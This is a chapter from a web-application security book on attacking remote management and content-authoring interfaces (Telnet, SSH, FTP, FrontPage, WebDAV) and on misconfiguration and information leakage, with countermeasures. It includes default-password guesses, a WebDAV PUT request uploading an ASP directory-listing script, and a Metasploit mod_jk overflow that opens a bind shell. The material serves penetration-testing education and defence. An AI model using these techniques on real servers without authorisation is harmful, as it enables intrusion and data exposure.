CHAPTER 8
ATTACKING WEB APPLICATION MANAGEMENT
For most of this book, we’ve beaten on the front door of web applications. Are there other avenues of entry? Of course—most web application servers provide a plethora of interfaces to support content management, server administration, configuration, and so on. Most often, these interfaces will be accessible via the Internet, as this is one of the most convenient means of remote web application administration. This chapter will examine some of the most common management platforms and vulnerabilities associated with web application management. We’ll also take a look at common web administration misconfigurations and developer errors. Our discussion is divided into the following parts:
• Remote server management
• Web content management/authoring
• Misconfigurations
REMOTE SERVER MANAGEMENT
Yes, Dorothy, people do occasionally manage their web servers remotely over the Internet (grin). Depending on the choice of protocol, these management interfaces can present an attractive window to opportunistic attackers. We’ll briefly cover some of the most common mechanisms and associated weaknesses in this section.
TIP
For a complete read on remote administration vulnerabilities, see the latest edition of Hacking Exposed: Network Security Secrets & Solutions (Sixth Edition, at the time of this writing) from McGraw-Hill Professional.
Before we begin, a brief point about web management in general is in order. We recommend running remote management services on a single system dedicated to the task and then using that system to connect to individual web servers—don’t deploy remote management capabilities on every web server. This narrows the viable attack surface to that one server and also allows for management of multiple web servers from a central location that you can ensure is heavily restricted and audited. Yeah, OK, if someone manages to compromise the remote management server, then all of the servers it manages are compromised, too. We still prefer the “put all your eggs in one basket and watch that basket” approach when it comes to remote control, however.
Telnet
We still see Telnet used for remote management of web servers today. As if it needs repeating, Telnet is a cleartext protocol and, as such, is vulnerable to eavesdropping attacks by network intermediaries (translation: someone can sniff your Telnet password in transit between you and the web server). And don’t even bother bringing up that tired old argument about how difficult it might be to sniff passwords on the Internet—it’s not the Internet that’s the problem, but rather the multitude of other networks that your Telnet traffic must traverse getting to the Internet (think about your corporate network, your ISP’s network, and so on). Furthermore, why even take the risk when protocols like SSH are available and offer much better security?
If you’re interested in seeing if your web servers are using Telnet, scan for TCP port 23 with any decent port scanner or just open a command prompt and attempt to open a Telnet connection to the web server. We also recommend performing a full port scan on each of your web servers to identify Telnet services that might be listening on nonstandard ports. Changing the default port is an ineffective practice (a perfect example of security through obscurity) that is, nevertheless, very common among system administrators.
SSH
Secure Shell (SSH) has been the mainstay of secure remote management for years (more secure than Telnet, at least). It uses encryption to protect authentication and subsequent data transfers, thus preventing the sort of easy eavesdropping attacks that Telnet falls prey to. There are two versions of the SSH protocol, version 1 (SSH1) and version 2 (SSH2). SSH1 is considered deprecated by SSH Communications Security (the original developer of the protocol), is less secure than SSH2, and should not be used. We recommend using SSH2 and disabling SSH1 altogether on your servers. Be aware that, as with all software, vulnerabilities have been discovered in certain implementations of SSH, so just because it has “secure” in its name doesn’t mean you have license to forget best practices like keeping abreast of recent security advisories and patches.
SSH offers several authentication methods. The most common are password authentication, where users authenticate using a password, and public-key authentication, which is based on the use of digital signatures; authentication is performed using a public key and a private key per user. When using public-key authentication, storing the private key securely and encrypted using a passphrase is vital.
Interestingly, SSH also supports file transfers via the Secure Copy (scp) utility, making it even more attractive for those who want to manage web server content simultaneously. We discuss scp again in the upcoming section on web content management.
Because of its common usage as a remote management tool, we always include SSH (TCP port 22) in our discovery and enumeration scans when performing web application audits. It is also advisable to look for SSH servers on nonstandard ports (e.g., TCP 2222), as it is a very common practice (and once again provides ineffective “security through obscurity”) among system administrators to change the default port to avoid detection. When using password authentication, SSH is still vulnerable to password guessing attacks, and it never hurts to try some of the more obvious guesses when performing a web audit (root:[NULL], root:root, root:admin, admin:[NULL], and so on), or use a dictionary containing common terms or, even better, salted with words and e-mail addresses that may appear on the target web site. Creating such a dictionary can be done manually or using tools such as Robin Wood’s CeWL (Custom Word List Generator). If the SSH server is using public-key authentication, it might be affected by the Debian OpenSSL Predictable Random Number Generator Vulnerability, which may allow attackers to compromise user accounts and perform traffic decryption and man-in-the-middle attacks. See “References & Further Reading” at the end of this chapter for links on how to detect and take advantage of this issue and for general information on public-key authentication.
Proprietary Management Ports
A lot of web servers ship with their own proprietary web management interfaces available by default. These interfaces are typically another instance of an HTTP server providing access to HTML or script files used to configure the server. They are typically authenticated using HTTP Basic. Table 8-1 lists some of the more common ports used by popular web server vendors (we note most of these in Chapter 2 but feel it important to reiterate them here).
Table 8-1 Common Default Web Server Management Ports
As many of these ports are user-defined, they’re not easily identified unless you’re willing to perform a full 65,535-port scan of some subset of your network. Many are also protected by authentication mechanisms, typically HTTP Basic or Forms-based login. The number of easily guessed passwords we’ve seen in our travels makes this a worthwhile area of investigation for web auditors, however.
Other Administration Services
Remote server administration is accomplished a number of ways, and the previous discussion certainly isn’t meant to suggest that these are the only services used to manage web servers. We’ve seen a variety of remote control software used for this purpose, with AT&T Labs’ VNC being the most popular in our experience (see the most recent edition of Hacking Exposed: Network Security Secrets & Solutions (McGraw-Hill Professional) for a comprehensive discussion of remote administration tools). VNC listens on TCP port 5800 by default. Another very popular remote management tool is Microsoft’s Terminal Services, which listens on TCP 3389 by default.
Other popular remote management protocols include the Simple Network Management Protocol (SNMP) on UDP 161 and the Lightweight Directory Access Protocol (LDAP) on TCP/UDP 389 and on TCP 636 (LDAPS, LDAP over SSL), which is sometimes used as an authentication server for web server users, including administrators.
WEB CONTENT MANAGEMENT
Okay, you’ve got your web server, you’ve got some sizzlin’ dynamic content ... now how shall the ‘twain meet? Obviously, you need some mechanism for transferring files to the web server, and that mechanism is usually the most convenient available: connect to the web server over the Internet using FTP or SSH (and then use scp) or use one of a handful of proprietary protocols such as Microsoft’s FrontPage. Wily attackers will also seek out these interfaces as alternative avenues into a web application. This section will discuss the pros and cons of the most common mechanisms.
NOTE
We will focus on Internet-facing mechanisms here and ignore behind-the-firewall-oriented techniques like Sun’s NFS, Microsoft file sharing, or Microsoft’s Application Center load-balancing and content-distribution platform.
FTP
Per generally accepted security principles, you shouldn’t be running anything but an HTTP daemon on your web application servers. So you can imagine what we’re going to say about running FTP, what with the ongoing parade of announcements of vulnerabilities in popular FTP server software like Washington University’s wuftp package and the fact the FTP protocol does not offer encryption (your credentials and data are transmitted in plaintext): DON’T RUN FTP ON YOUR WEB SERVERS! There’s just too much risk that someone will guess an account password or find an exploit that will give that individual the ability to write to the file system—and then it’s only a short hop to web defacement (or worse). The only exception we’d make to this rule is if access to the FTP service is restricted to a certain small range of IP addresses (although even in this case, it would be best to use a more secure alternative such as FTPS (FTP over TLS/SSL) or SFTP (Secure File Transfer Protocol aka SSH File Transfer Protocol).
Nevertheless, it’s always good to check for FTP in a comprehensive web application audit to ensure that some developer hasn’t taken the easy way out. FTP lives on TCP port 21 and can be found with any decent port scanner. Also, as always, remember to look for FTP servers on nonstandard ports for a more comprehensive check.
SSH/scp
As we noted in our discussion of web management techniques earlier in this chapter, Secure Shell version 2 (SSH2) is a recommended protocol for remote web server management (if it is properly maintained). There is a utility called Secure Copy (scp) that is available to connect to SSH services and perform file transfers right over (authenticated and encrypted) SSH tunnels. If you’re a command-line jockey, this is probably your best bet, but this tool will seem positively primitive compared to graphical content management tools like FrontPage (see the following section). Luckily, nowadays several graphical clients such as WinSCP are available that will make your life easier.
As we’ve noted, SSH lives on TCP port 22 by default, if you’re interested in checking for it and attempting password-guessing and other attacks (also remember to check nonstandard ports such as TCP 2222. For a comprehensive check verify all ports).
FrontPage
Microsoft’s FrontPage (FP) web authoring tool is one of the more popular and easy-touse platforms for managing web site content. It is primarily targeted at low- to midrange users who wish to create and manage content on individual web servers, but it is commonly supported by large web hosting providers who cater to individuals and businesses of all sizes.
FP is actually the client, whereas FP Server Extensions (FPSEs) run on the server side, enabling remote content manipulation to authorized users. FPSEs ship as a default component of IIS 5 and are implemented as a set of HTML files, scripts, executables, and DLLs that reside in a series of virtual roots with the name _vti_*, where the asterisk represents any of bin, cnf, log, pvt, script, and txt (FrontPage was purchased from Vermeer Technologies Inc., hence the vti appellation). The following request/response is usually a good indicator that FPSEs are running:
C:>nc -vv luxor 80
luxor [192.168.234.34] 80 (http) open
GET /_vti_bin/shtml.dll HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 07 Mar 2010 04:38:01 GMT
Content-Type: text/html; charset=windows-1252
<HTML><BODY>Cannot run the FrontPage Server Extensions' Smart HTML
interpreter on this non-HTML page: ""</BODY></HTML>
FP communications are propagated over HTTP via a proprietary protocol called FrontPage Remote Procedure Call (RPC). Methods are POSTed to the relevant FP DLLs, as shown in this example:
POST /test2/_vti_bin/_vti_aut/author.dll HTTP/1.0
Date: Thu, 18 Apr 2010 04:44:28 GMT
MIME-Version: 1.0
User-Agent: MSFrontPage/4.0
Host: luxor
Accept: auth/sicily
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
X-Vermeer-Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
Pragma: no-cache
method=open+service%3a4%2e0%2e2%2e3406&service%5fname=%2ftest2
The first line shows the DLL that is the target of the POST, and the last line shows the methods being invoked (in this case, the FP client is trying to open the test2 application directory for editing, as you can see by the fname=/test2 syntax at the end of the line). FPSE methods can also be called in URL query string arguments like so (line-wrapped to adhere to page-width constraints):
/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706
&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false
&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&
listDerivedT=false&listBorders=false
By default, FP authoring access to a server is authenticated using Windows authentication (NTLM over HTTP; see Chapter 4), so don’t get the impression that an attacker can simply walk through the front door of any server running FPSE, although any relaxation of the default security can result in this problem. If you’re concerned about the security of your FP webs (as virtual roots that allow FP authoring access are called), you can right-click any server in the IISAdmin tool (iis.msc) on IIS 5, select All Tasks | Check Server Extensions, and then you’ll be prompted, as shown here:
If you elect to check the server extensions, the following tasks will be performed:
• Checks read permissions on the Web
• Checks that Service.cnf and Service.lck are read/write
• Updates Postinfo.html and _vti_inf.htm
• Verifies that _vti_pvt, _vti_log, and _vti_bin are installed, and that _vti_bin is executable
• Determines whether virtual roots or metabase settings are correct and up-to-date
• Checks that the IUSR_machinename account doesn’t have write access
• Warns you if you are running on a FAT file system, which means that you cannot supply any web security whatsoever
TIP
You can also use Microsoft’s UrlScan tool to control access to FrontPage; see “References & Further Reading” at the end of this chapter for links on how to do this.
Over the years, FP Server Extensions have garnered a bad reputation, security-wise. The most widely publicized problem was with the FrontPage 98 Server Extension running with Apache’s HTTP Server on Unix, which allowed remote root compromise of a server. There have been a series of less severe exploits against machines running versions of FP ever since.
Personally, we don’t think this makes FP a bad platform for web content management. All of the published vulnerabilities have been fixed ages ago and most of the recent ones were not very severe anyway (a cross-site scripting vulnerability was about the worst impact). FP has largely been superseded by WebDAV anyway, which we will discuss next.
WebDAV
Apparently not satisfied with FrontPage, Microsoft long ago backed a set of extensions called Web Distributed Authoring and Versioning (WebDAV, or just DAV) to HTTP, designed to support web content management. WebDAV is described in RFC 2518. It is supported by default in Microsoft’s IIS web server version 5, is available as an optional component in version 6, and WebDAV add-on modules are available for most other popular web servers as well (even Apache has a mod_dav).
We’ve gone on record in other editions of Hacking Exposed as WebDAV skeptics, mainly because it provides a way to write content to the web server right over HTTP, without much built-in security other than what is supplied by filesystem ACLs. This is a recipe for disaster unless it is properly restricted. Nevertheless, WebDAV has become widely deployed in diverse products ranging from Microsoft clients and servers (e.g., SharePoint) to open source products like Alfresco, so a discussion of its security merits is probably moot at this point. Table 8-2 shows some of the more readily abused WebDAV methods.
A couple of notes about Table 8-2: For the COPY method, all WebDAV resources must support this method, but that doesn’t mean you’ll always have the ability to copy even if the app states that the permission exists. With the PROPFIND method, an empty request will return a list of default properties. Attackers can then create a proper PROPFIND request that contains an XML body with the parameters for a search.
There have been a few published vulnerabilities in COTS WebDAV implementations over the years. Most have been of low to medium severity (directory structure disclosure to denial of service). At this stage, the hacking community seems to be concentrating on the low-hanging fruit, as many of the published advisories concern DoS problems.
Of course, this chapter is not about COTS bugs (see Chapter 3 for that), but rather misconfigurations. Let’s take a look at some common ways to identify and exploit WebDAV misconfigurations.
Table 8-2 WebDAV Methods That Can Be Abused
Web servers have WebDAV enabled most commonly for limited sections of the site. For example, a site could have an “upload” folder (http://www.site.com/upload/) with the PUT command enabled for users to upload content to the site. Because each folder and subfolder on a site will have different commands and permissions, the first step in your assessment is to identify the permissions associated with each of the folders and files on the server. You can easily accomplish this with the OPTIONS command. The most efficient way to discover the available permissions of the server’s files and folders is to take the data gathered from your crawl results of the site and enumerate through each folder and file to identify those that have write access. When you find MOVE, MKCOL, PUT, and DELETE within your results, you’ve struck pay dirt. The following example HTTP request shows how the OPTIONS command is used to map out the WebDAV permissions on a site’s root folder collection:
OPTIONS / HTTP/1.1
Host: www.site.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Wed, 17 Feb 2010 11:26:31 GMT
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
Next, we examine what permissions exist on a given folder, which can point us toward more interesting content that might be attacked via WebDAV. We’ve highlighted in bold the modification methods that are permitted on this example folder:
OPTIONS /Folder1/any_filename HTTP/1.0
Host: www.site.com
HTTP/1.1 200 OK
Connection: close
Date: Wed, 17 Feb 2010 9:15:01 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, MKCOL, LOCK, UNLOCK
Cache-Control: private
As you can see from this example, this folder permits some fairly powerful WebDAV methods (DELETE, PUT, MKCOL) that attackers could easily exploit. One example technique we’ve seen used is to upload a script (in this example, an .asp page) that performs a recursive directory listing throughout the web root:
PUT /writable-folder/dirlisting.asp HTTP/1.1
Host: www.site.com
Content-Length: 1279
<h3>Directory listing of Webroot</h3>
<% ListFolderContents(Server.MapPath("/")) %>
<% sub ListFolderContents(path)
dim fs, folder, file, item, url
set fs = CreateObject("Scripting.FileSystemObject")
set folder = fs.GetFolder(path)
Response.Write("<li><cTypeface:Bold>" & folder.Name & "</b> - " _
& folder.Files.Count & " files, ")
if folder.SubFolders.Count > 0 then
Response.Write(folder.SubFolders.Count & " directories, ")
end if
Response.Write(Round(folder.Size / 1024) & " KB total." _
& vbCrLf)
Response.Write("<ul>" & vbCrLf)
for each item in folder.SubFolders
ListFolderContents(item.Path)
next
for each item in folder.Files
url = MapURL(item.path)
Response.Write("<li><a href=""" & url & """>" & item.Name & "</a> - " _
& item.Size & " bytes, " _
& "last modified on " & item.DateLastModified & "." _
& "</li>" & vbCrLf)
next
Response.Write("</ul>" & vbCrLf)
Response.Write("</li>" & vbCrLf)
end sub
function MapURL(path)
dim rootPath, url
rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "", "/")
end function %>
HTTP/1.1 201 Created
Connection: close
Date: Tue, 20 Sep 2010 19:31:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.site.com/writable-folder/myfile.asp
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
Another method that you may even find easier is to use your WebDAV client. If you’re using Windows, you already have a WebDAV client ready to go. Simply follow these steps.
1. From the Windows Taskbar, go to Start | Run. Enter the upload URL, as shown here:
2. Windows will open the site as a UNC path. Drag and drop your files as needed:
If you’re using Unix or Linux, you can download the straightforward command-line client called Cadaver. You’ll find a download link for Cadaver in the “References & Further Reading” section at the end of this chapter.
WebDAV Authoring Countermeasures
With the support of Microsoft, widespread deployment of WebDAV has become a reality. The most extreme advice we can give regarding WebDAV is to disable it on production web servers. Assuming this is not practical, you can alternatively run it in a separate instance of the HTTP service with heavy ACL-ing and authentication. You can also restrict the type of methods that the server supports; although if you’re using WebDAV, you’re probably going to want your authors to have the full run of methods available to them. Make sure you trust your authors!
Configuring WebDAV can be confusing, since, for some reason, it is often configured separately from standard web server extensions. We’ve listed standard instructions for configuring WebDAV on IIS and Apache next. Be aware: there are numerous implementations of WebDAV; you should consult the documentation from your WebDAV software provider for best results.
Secure WebDAV Configuration on Apache
On Apache, control of WebDAV depends heavily on the specific DAV software module you’ve installed. The following example shows how to disable specific WebDAV methods on the mod_dav implementation (see “References & Further Reading” for a link) by adding the following to your Apache configuration file (i.e., httpd.conf):
<Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE COPY MKCOL PUT DELETE>
Order allow,deny
Deny from all
</Limit>
A better method is to use the Limit method to remove all but necessary methods:
<Directory /usr/local/apache/htdocs>
<Limit GET POST OPTIONS>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>
Of course, you can also turn WebDAV off entirely by ensuring that the “DAV On” directive doesn’t appear in the <Directory> or <Location> directive in your Apache configuration file (httpd.conf). By default, WebDAV is off and this line does not appear.
Secure WebDAV Configuration on IIS
On IIS 5.x, Microsoft’s Knowledge Base Article 241520 describes how to disable WebDAV (see “References & Further Reading” for a link to this article). The following is adapted from KB 241520:
1. Start the Registry Editor (Regedt32.exe).
2. Locate and click the following key in the registry:
HKLMSYSTEMCurrentControlSetServicesW3SVCParameters
3. On the Edit menu, click Add Value, and then add the following registry value:
Value name: DisableWebDAV
Data type: DWORD
Value data: 1
4. Restart IIS. This change does not take effect until the IIS service or the server is restarted.
When it came to IIS 6.0, Microsoft finally did things right. First, WebDAV is disabled by default. Second, enabling or disabling WebDAV is extremely simple. You just open IIS administration (%systemroot%system32inetsrviis.msc), select Web Service Extensions, and then select WebDAV and click the Prohibit button, as shown in Figure 8-1.
Figure 8-1 Disabling WebDav in IIS 6
MISCONFIGURATIONS
This section will cover vulnerabilities that web administrators and developers are typically responsible for introducing through lack of awareness or carelessness.
Some of the configuration issues we’ll discuss in this section normally fall under the purview of web application/site administrators, whereas some typically fall under the responsibility of web developers. The line here can be a bit blurry—because web development is so tied up in the basic structure of the application/site itself (e.g., placement of files and access control configuration), web devs and admins are often one in the same person or, for larger commercial sites, people who work very closely in the same organization. This situation creates a sort of “collusion” effect where lax security gets perpetuated throughout a site/application.
Furthermore, the web platform you select can greatly influence configuration vulnerabilities. We’ll discuss the example of Microsoft’s ASP.NET ViewState method in this section to illustrate how the choice of development environment can leave a site or application open to any and all vulnerabilities common to that platform, especially when left in default configurations.
Whether driven by admins or devs or some other role, we’ll cover the following classes of common configuration vulnerabilities in this section:
• Unnecessary web server extensions
• Information leakage
• State management
Unnecessary Web Server Extensions
Some of the worst web platform attacks in history have resulted from software defects in add-on modules that extend basic web server HTTP functionality. Many of the all-time classics in web platform hacking include IIS exploits like IISHack, .printer, and .ida (upon which the Code Red worm was based). Apache has suffered from similar issues, such as the mod_ssl that gave rise to the Slapper worm. We demonstrate how easy it is to exploit these types of vulnerabilities in Chapter 3.
“Really scary,” you may be saying to yourself, “but aren’t these all related to software defects and not misconfigurations?” The reason we’ve included this discussion here is to highlight what we think is one of the most critical—and common—vulnerabilities in web platform deployments: enabling inappropriate and unnecessary web server extensions. The availability of such extensions on a web server is thus directly under the control of the web server admin (even if these extensions are installed by default by the software provider!), and thus will be covered here.
Apache Tomcat Mod_JK.SO Arbitrary Code Execution Vulnerability
We’ll delve back a bit in history to provide a good example of what can happen if such extensions are installed and not properly maintained: the Apache Tomcat Mod_ JK.SO Arbitrary Code Execution Vulnerability.
In March 2007, Tipping Point’s Zero Day Initiative (ZDI) announced discovery of a stack-based buffer overflow in the Apache Tomcat JK Web Server Connector. This Connector is an Apache module (mod_jk) used to connect the Apache Tomcat servlet container with web servers such as Apache. This module basically forwards HTTP requests received by the Apache Web Server to the Tomcat servlet container.
The vulnerability arises because the connector does not perform proper bounds checking on incoming URLs, allowing an attacker to overflow a buffer via an HTTP request with a long URL. As with many such vulnerabilities, published exploit code soon abounded on the Internet. Most such exploits involved sending a specially crafted buffer to exploit the vulnerability and execute code to start a listener on a predefined port that threw back a shell to the attacker upon connection. All the attacker had to do was run the exploit and then connect to the predefined port. In the following example, we illustrate the use of the exploit for this vulnerability included in Metasploit:
auser@ubuntu$./msfcli windows/http/apache_modjk_overflow
payload=windows/shell_bind_tcp rhost=192.168.1.109 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Trying target mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32
OS/language)...
After the exploit has been executed, all the attacker needs to do is to connect to port 8888/TCP on the target system to gain access to a command prompt:
auser@ubuntu$telnet 192.168.1.109 8888
Trying 192.168.1.109...
Connected to 192.168.1.109.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:program filesapache groupapache>
Web Server Extension Countermeasures
We hope this little scenario illustrates that one of the most critical configurations you can make to your web platform is to disable all add-on/extensibility modules that aren’t absolutely necessary and to keep necessary extensions up-to-date when it comes to security patches. Administrators hardly ever forget to update their web servers, but they often forget about extensions and modules. There is no better illustration of this than IIS 6, which used to suffer from all sorts of issues with add-on extensions, but now ships out-of-the-box with all extensions disabled. If Microsoft agrees that disabling extensions is this important, and they’ve found a way to do it without hurting their multibillion dollar business selling cool software features, then you can, too. Here’s how to remove unnecessary extension mappings on the most popular web servers (as of this writing): IIS and Apache.
Disabling Extensions on IIS
To disable unneeded extensions on IIS 5:
1. Open the IIS administration tool (run iis.msc from the Windows menu).
2. Right-click the computer you want to administer, select Properties | Master Properties | WWW Service; then click Edit, select Properties of the Default Web Site | Home Directory | Application Settings | Configuration | App Mappings.
3. At this final screen, remove the mapping for the desired extensions. Figure 8-2 shows the .printer mapping to msw3prt.dll selected.
On IIS 6, again use the IIS Admin tool, but note that in this version, Microsoft consolidated extensions under the “Web Service Extensions” node. From this screen, simply select the extension you wish to disable and click the Prohibit button.
Disabling Modules in Apache
To disable modules in Apache, use the configure script before compiling and pass in any modules that should be disabled. The proper configure script syntax for specific versions of Apache is shown here:
Apache 1.x: ./configure --disable-module=userdir
Apache 2.x: ./configure --disable-userdir
NOTE
This method is used to remove built-in modules in Apache and does not apply to dynamic modules.
Figure 8-2 Removing the extension mapping for the .printer extension in the IIS 5 Admin tool (iis.msc)
Information Leakage Misconfigurations
The next class of common configuration problems we’ll discuss is quite broad. It’s a set of problems that can reveal information that the application owners did not intend to reveal, and that is commonly leveraged by attackers toward more efficient exploitation of a web app. These problems aren’t rooted in any specific web server extension or addon module, but rather result from many different configuration parameters, so we’ve grouped them here for individual treatment. The specific vulnerabilities we’ll discuss in this section include:
• File, path, and user disclosure
• Status page information leakage
• Default error pages
File, Path, and User Disclosure
One of the most common causes of information leakage from web sites—because of poor housekeeping—is the stray files and other informative tidbits lying around the server’s root directory. When web servers and applications are initially sent into production, everything is usually pristine—the files and folder structure are consistent. But over time, as applications are changed and upgraded and configurations are modified, the web root starts getting cluttered. Files are left lying around. Folders and old applications go forgotten. These lost and neglected files can be a treasure trove of very useful information for attackers. You can use several methods to find this information, as we discuss next.
HTML Source
Often the first place attackers look is in the readily viewable HTML source code of web application/site pages. HTML source code can contain all kinds of juicy information, in comments (search for <!-- tags), include files (look for .inc file extensions), and so on.
Directory Guessing
The first method is the simplest—guessing at names using a list of common folder names that often exist within web structures. For instance, we know that many web sites have “admin” folders. So, by simply making a guess and requesting “http://www.site.com/admin/”, an attacker could very well find himself looking at the administrative interface for that web site. We’ve listed some of the most common HTTP response codes generated by file- and folder-name guessing in Table 8-3.
NOTE
Links to information about HTTP status codes can be found in the “References & Further Reading” section at the end of this chapter.
Let’s now walk through a step-by-step example of a directory-guessing attack to illustrate some key points. We first discover a folder within the web root of our target with the common name “stats”. When we try to access this folder, we’re greeted with a friendly 403 Forbidden response: “Directory Listing Denied—This Virtual Directory does not allow content to be listed.”
This response does not mean that the directory is protected, only that we can’t view the list of files within it. Therefore, if a file does exist in the directory, we can still access it. All we need to do is some basic sleuthing and guesswork. Now we have to think like the site’s administrator. What would an admin keep in a directory called “stats”? How
Table 8-3 Common HTTP Response Codes
about web statistics? Doing further research, we enter the search query inurl:/stats/+”index of” into Google to identify common files that other sites have tucked away in their “stats” directories. We learn that the most common filename kept within this directory is, not so surprisingly, called “stats.html”. When issuing the request for http://www.site.com/stats/stats.html, we obtain a successful result with the web statistics for this site. Our next step is to run through the URLs to see if we can find anything interesting. As you can see Figure 8-3, we’ve uncovered some potentially juicy information about the site. The Hits statistics may not provide much traction to the attacker, but “stats” directories often include information that is potentially damaging, such as log files, credential reset scripts, account options, configuration tools, and so on. A very good tool to perform directory and filename guessing is OWASP’s DirBuster.
Common Filenames Guessing
As we mentioned earlier, web site admins are notorious for leaving files—old code, outdated files, and other stuff that just shouldn’t be there—lying around the web root. You want to use this laziness to your advantage. Most admins don’t realize that these files can be downloaded just like any other files on the web site. All an attacker needs to know is where the files are located and what they’re named. This attack is a lot easier than you think, and it’s important to understand for both attacking and defending web servers.
Figure 8-3 A web statistics page revealed in a directory-guessing attack
NOTE
We’ll discuss the special case of include (.inc) files on IIS in the upcoming section entitled “Include File Disclosure.”
For example, many developers use a popular source code control system named Concurrent Versions System (CVS). This software allows developers to manage multiple people collaborating on the same software easily. CVS will ferret through the entire folder structure where source code is kept and add its own /CVS/ subfolder. This subfolder contains three files—Entries, Repository, and Root—that CVS uses to control changes to source code in that directory. An example CVS source tree is shown here:
/WebProject/
/WebProject/File1.jsp
/WebProject/File2.jsp
/WebProject/CVS/Entries
/WebProject/CVS/Repository
/WebProject/CVS/Root
/WebProject/Login/Login.jsp
/WebProject/Login/Fail.jsp
/WebProject/Login/CVS/Entries
/WebProject/Login/CVS/Repository
/WebProject/Login/CVS/Root
What happens to many organizations that use CVS for web development is once the application is completed, the developer or web administrator takes the entire /WebProject/ directory and uploads it to the web server. Now all the CVS folders are sitting in the public web root and can easily be requested by performing http://www.site.com/CVS/Entries. This will return a listing of all the files in that folder that were under source control, as shown in Figure 8-4.
Figure 8-4 Discovering the CVS Entries file can reveal a lot of information about a web app.
Another common file-guessing target arises from the use of the popular FTP client called WS_FTP. This program leaves a handy file named WS_FTP.LOG within each folder where files were uploaded (for example, http://www.site.com/WS_FTP.LOG). This log lists every file uploaded. Table 8-4 shows common files that attackers look for when reviewing a site. Remember that attackers will leave no folder or subfolder unturned in their search!
Table 8-4 Common Filenames Used in Guessing Attacks
TIP
For many of the filenames listed in Table 8-4, simply appending “.old,” “.backup,” and/or “.bak” can also reveal archived versions of files if present, for example, global.asa.bak or global.asa.old. The previously mentioned OWASP DirBuster tool is also useful for identifying backups using common filenames.
Wayback Machine Method
Web sites and applications are in a continuous state of change, and they often undergo complete revamps of their architecture and design. Also, depending on the web site, developers might approach this in one of two ways. Either they’ll develop the new web site all at once and move the entire package into production, or they’ll gradually upgrade portions of the site with new development. Oftentimes, when the new site is in operation, organizations will move all of their previous code to a backup location and forget it. This backup of old code presents a serious security weakness.
Let’s consider a company that upgraded from an old ASP platform to ASP.NET. By using ASP.NET, the organization was able to design and build a more robust and secure platform. And they did their due diligence and tested their new application for security vulnerabilities and declared it clean. But when they upgraded to ASP.NET, they moved their entire previous ASP application to a web root folder named “backup”. Big mistake. Now, a hacker identifies this folder and correctly determines that they keep their old web site version here. Our hacker surfs to http://web.archive.org (Wayback Machine), which is a web site that maintains completely browseable archives of web sites, shown in Figure 8-5.
The attacker now enters the site’s web address, browses through the achieved site, and takes careful notes of the names of the pages and forms he encounters. He spots a form that appears to be dynamic and that lists the contents of articles: http://www.site.com/article.asp?id=121879.
Figure 8-5 The Wayback Machine
Armed with this information, the attacker returns to the original site and attempts to access this page as http://www.site.com/backup/article.asp. His cleverness pays off. Not only is the web page there, but also it still pulls data from the company’s database. Our attacker smiles as he discovers the old application is vulnerable to SQL injection, and, as a result, he is now able to access the database through the backed-up content.
Other tactics that often successfully identify old web site content include Google searches that return cached web pages. Sometimes even using the site’s own search engine will return older files that prove extremely useful.
User Enumeration
By default, Apache allows you to identify home directories of users on the web server via the “~” syntax. Therefore, by sending requests for usernames such as http://www.site.com/~root or http://www.site.com/~asimons, valid usernames can be identified very easily. This makes identifying, for instance, that an Oracle user exists on the system quite useful, which can then lead attackers toward some interesting Oracle exploits. Checking for vulnerabilities such as blind SQL injection is much easier once the attacker knows the type of database used on the backend.
NOTE
SQL injection and other web datastore vulnerabilities are discussed in Chapter 6.
File Disclosure Countermeasures
This security problem is easy to remedy: just keep your site directories clean and properly ACL’ed, especially the root directory (/). Typically, anything sitting in the web root is accessible by anyone, so that’s one place to check rigorously. Here are some other countermeasures:
• Deploy your web root on a separate volume. This is particularly important on IIS systems, as IIS has a history of exploits that break out of web root, often into %systemroot% to run juicy files such as cmd.exe, which is the Windows 32-bit command shell.
• Move backups/archives/old files to a single folder and, whenever possible, out of the web site/application’s directory structure altogether. If this is not possible for some reason, make authentication a requirement to access the folder in which you store sensitive files.
• Don’t name folders and files something that is easy to guess. For instance, you don’t want to name the data directory “data”.
• To prevent user enumeration using easy-to-guess “~” syntax, edit the Apache httpd.conf file to ensure that the UserDir configuration is set to disabled (UserDir disabled).
• Protect any folder that has important data in it with authentication.
Probably the best approach to avoiding file disclosure vulnerabilities is to assume that an attacker can see the entire directory structure of your site and avoid “security through obscurity” altogether. Whenever you find yourself thinking, “No one will ever be able to guess that I have this file here,” remember: someone most certainly will.
Status Page Information Leakage
